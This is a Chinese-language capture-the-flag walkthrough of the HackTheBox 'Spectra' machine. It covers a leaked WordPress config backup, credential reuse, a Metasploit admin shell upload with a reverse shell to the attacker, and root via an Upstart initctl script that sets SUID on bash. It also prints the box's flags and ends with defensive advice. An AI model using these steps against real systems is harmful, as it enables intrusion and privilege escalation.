[Meachines] [Easy] Spectra Wordpress Plugins Shell+initctl权限提升
字数 1103 2025-08-29 08:30:30
Spectra WordPress 插件漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP:
10.10.10.229 - 扫描确认目标在线状态:
nmap -Pn -sn 10.10.10.229
1.2 端口扫描
使用masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.10.229 --rate=1000 -e tun0
发现开放端口:
- 22/tcp: OpenSSH 8.1
- 80/tcp: nginx 1.17.4
- 3306/tcp: MySQL
1.3 Web服务枚举
-
添加主机名到hosts文件:
echo '10.10.10.229 spectra.htb' >> /etc/hosts -
发现WordPress测试目录:
curl http://spectra.htb/testing/wp-config.php.save获取到数据库凭据:
- 用户名:
devtest - 密码:
devteam01
- 用户名:
-
发现主WordPress站点:
- http://spectra.htb/main/
- 登录页面: http://spectra.htb/main/wp-login.php
2. 漏洞利用阶段
2.1 WordPress管理员登录
- 用户名:
administrator - 密码:
devteam01(与测试环境相同)
2.2 上传反向Shell
使用Metasploit模块:
use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME administrator
set RHOSTS 10.10.10.229
set TARGETURI /main
set LHOST tun0
set PASSWORD devteam01
run
3. 权限提升阶段
3.1 获取用户权限
-
在获得的shell中查找凭据:
cat /etc/autologin/passwd发现密码:
SummerHereWeCome!! -
通过SSH登录用户katie:
ssh katie@10.10.10.229密码:
SummerHereWeCome!! -
获取user flag:
e89d27fe195e9114ffa72ba8913a6130
3.2 利用initctl进行权限提升
-
下载initctl二进制文件:
scp katie@10.10.10.229:/sbin/initctl ./ -
检查可用的服务:
sudo -u root /sbin/initctl list | grep test -
发现可配置的test服务:
- 服务路径:
/etc/init/test.conf - 内容:
description "Test node.js server" author "katie" start on filesystem or runlevel [2345] stop on shutdown script chmod +s /bin/bash end script
- 服务路径:
-
利用步骤:
- 停止服务:
sudo -u root /sbin/initctl stop test - 启动服务(执行脚本):
sudo -u root /sbin/initctl start test - 获取root shell:
/bin/bash -p
- 停止服务:
-
获取root flag:
d44519713b889d5e1f9e536d0c6df2fc
4. 漏洞分析与总结
4.1 漏洞链
- WordPress测试环境暴露数据库凭据
- 凭据重用(测试环境与生产环境使用相同密码)
- WordPress管理员权限导致可上传恶意插件
- initctl服务配置不当导致权限提升
4.2 防御建议
- 测试环境与生产环境隔离
- 禁止使用相同凭据
- 限制WordPress管理员权限
- 审查init脚本权限和内容
- 避免在脚本中使用危险命令如
chmod +s
5. 扩展知识
5.1 initctl简介
- initctl是Upstart初始化系统的控制工具
- 用于管理系统服务的启动、停止和状态查询
- 通常位于
/sbin/initctl - 服务配置文件位于
/etc/init/目录下
5.2 SUID权限提升原理
chmod +s /bin/bash给bash添加SUID位- 当普通用户执行SUID程序时,会以文件所有者(root)权限运行
-p参数使bash保留特权